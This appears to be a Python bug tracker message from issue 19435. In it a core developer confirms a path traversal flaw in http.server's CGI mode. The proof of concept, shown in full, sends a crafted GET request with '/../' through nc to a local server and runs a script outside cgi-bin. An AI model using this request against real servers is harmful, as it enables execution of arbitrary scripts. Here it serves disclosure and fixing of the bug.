Message 201647 - Python tracker

Message201647

Author	christian.heimes
Recipients	Alexander.Kruppa, benjamin.peterson, christian.heimes, georg.brandl, larry, vstinner
Date	2013-10-29.16:48:39
SpamBayes Score	-1.0
Marked as misclassified	Yes
Message-id	<1383065320.2.0.995297367448.issue19435@psf.upfronthosting.co.za>
In-reply-to

Content
I can confirm the issue: $ mkdir www $ cd www $ cat << EOF > badscript.sh #!/bin/sh echo hacked EOF $ chmod +x badscript.sh $ ../python -m http.server --cgi $ echo "GET ///////////badscript.sh/../cgi-bin/cgi.sh HTTP/1.1" \| nc localhost 8000 HTTP/1.0 200 Script output follows Server: SimpleHTTP/0.6 Python/3.4.0a4+ Date: Tue, 29 Oct 2013 16:47:22 GMT hacked

Content

I can confirm the issue:

$ mkdir www
$ cd www
$ cat << EOF > badscript.sh
#!/bin/sh
echo hacked
EOF
$ chmod +x badscript.sh
$ ../python -m http.server --cgi


$ echo "GET ///////////badscript.sh/../cgi-bin/cgi.sh HTTP/1.1" | nc localhost 8000
HTTP/1.0 200 Script output follows
Server: SimpleHTTP/0.6 Python/3.4.0a4+
Date: Tue, 29 Oct 2013 16:47:22 GMT
hacked

History
Date	User	Action	Args
2013-10-29 16:48:40	christian.heimes	set	recipients: + christian.heimes, georg.brandl, vstinner, larry, benjamin.peterson, Alexander.Kruppa
2013-10-29 16:48:40	christian.heimes	set	messageid: <1383065320.2.0.995297367448.issue19435@psf.upfronthosting.co.za>
2013-10-29 16:48:40	christian.heimes	link	issue19435 messages
2013-10-29 16:48:39	christian.heimes	create